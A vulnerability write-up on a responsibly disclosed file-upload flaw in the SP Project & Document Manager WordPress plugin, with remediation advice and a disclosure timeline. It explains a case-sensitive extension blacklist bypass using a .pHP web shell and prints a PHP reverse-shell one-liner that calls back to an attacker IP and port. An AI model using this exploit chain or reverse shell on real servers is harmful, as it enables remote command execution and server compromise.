SP Project & Document Manager is a WordPress plugin developed by Smarty Pants, with over 301.000 downloads and over 7.000 installations, according to their website. It is a file management and file sharing plugin, allowing users to upload files on the server and making it easier for them to distribute and organize them in an “easy-to-manage online process”. Smarty Pants also offer a paid premium version of the plugin with enhanced features.
In the plugin’s versions prior to 4.22, it is possible for an authenticated attacker to bypass the security measures and upload a malicious PHP file, causing command execution on the underlying operating system.
This is a write-up for this vulnerability, where we
- Identify the flaw in the source code
- Exploit the flaw and upload a web shell
- Upgrade the web shell to a reverse shell.
This vulnerability was responsibly disclosed to the vendor and a patch is available.
When setting up the plugin, the admin creates a page where users can upload and manage their files, as instructed in the plugin’s installation guide. Here, we have the page
/guess/ and we are authenticated as the subscriber-level user “bitcrack”.
Users are allowed to upload files with extensions such as
phtml etc. were also being rejected.
Being in the advantageous position of having the source code, we can search for the point in the code where the file format was being validated. We know that the extension
phtml is being filtered somewhere by the plugin, so by using the command
grep -r phtml /var/www/html/wp-content/plugins/sp-client-document-manager/, where
/var/www/html/wp-content/plugins/sp-client-document-manager/ is the path to the plugin’s source code directory, we find the extension validation checkpoint in the
shortcode.php file. The function
sp_cdm_check_file_type confirms if the file extension is a valid one or if the file has to be rejected as potentially malicious.
There we see the list of file extensions that a user is not allowed to upload, i.e. a blacklist approach.
Seeing the list of extensions and the fact that the developers are not using any additional verification for potentially malicious file types, except going through the blacklist, we conclude that the verification process is being carried out in a case-sensitive manner. This means that, by using the
in_array function, the application is rejecting any file extension that is not identical to any extension on the list. Therefore PHP files with the extension
php are being rejected but that is not the case for
pHP extensions (or any other combination of capital and lower case letters). As we will see, a
.pHP file can also be executed as a valid
Confirmation and Exploitation
An attacker can use this improper file type validation to their advantage and upload a PHP file, with the extension
.pHP. Testing out a simple web shell named
we manage to upload a PHP file on the server with a case sensitive file extension
and confirm it
To execute the exploit, we visit the endpoint
http://webserver.com/wp-content/uploads/sp-client-document-manager/2/webshell.php. The URL is serving the
webshell.pHP file, regardless of the case sensitivity, allowing us to execute commands. Note that
2 is the
UID of the logged-in user that uploaded the file.
After verifying the exploit, we can either upload a PHP reverse shell file like the one from pentestmonkey or upgrade our web shell to a reverse shell by executing the PHP command
php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' and set our server to listen to the port we specified
The actual vulnerability of the application is the unrestricted file upload of a PHP file. That way, the attacker can escalate this vulnerability and execute OS commands on the underlying web server. An attacker, being able to execute OS commands to a server, can read and possibly write critical files and/or databases, taking control over a big set of capabilities. While having limited access to the server, an attacker could fully compromise that server by escalating privileges on the OS, depending on the OS’ configurations.
The developers should take into consideration the case sensitivity of a file’s extension. They should either use the function
strtolower() on the input filename to turn all letters of the file’s extension into lowercase and then run their checks against the blacklist or use regular expressions to include any file extension abnormality such as case sensitivity.
Reported to WPScan: 5/5/2021
Status changed to Reviewing: 5/5/2021
Status changed to Vendor Contacted: 13/5/2021
Submission approved and published: 25/5/2021 in https://wpscan.com/vulnerability/8f6e82d5-c0e9-468e-acb8-7cd549f6a45a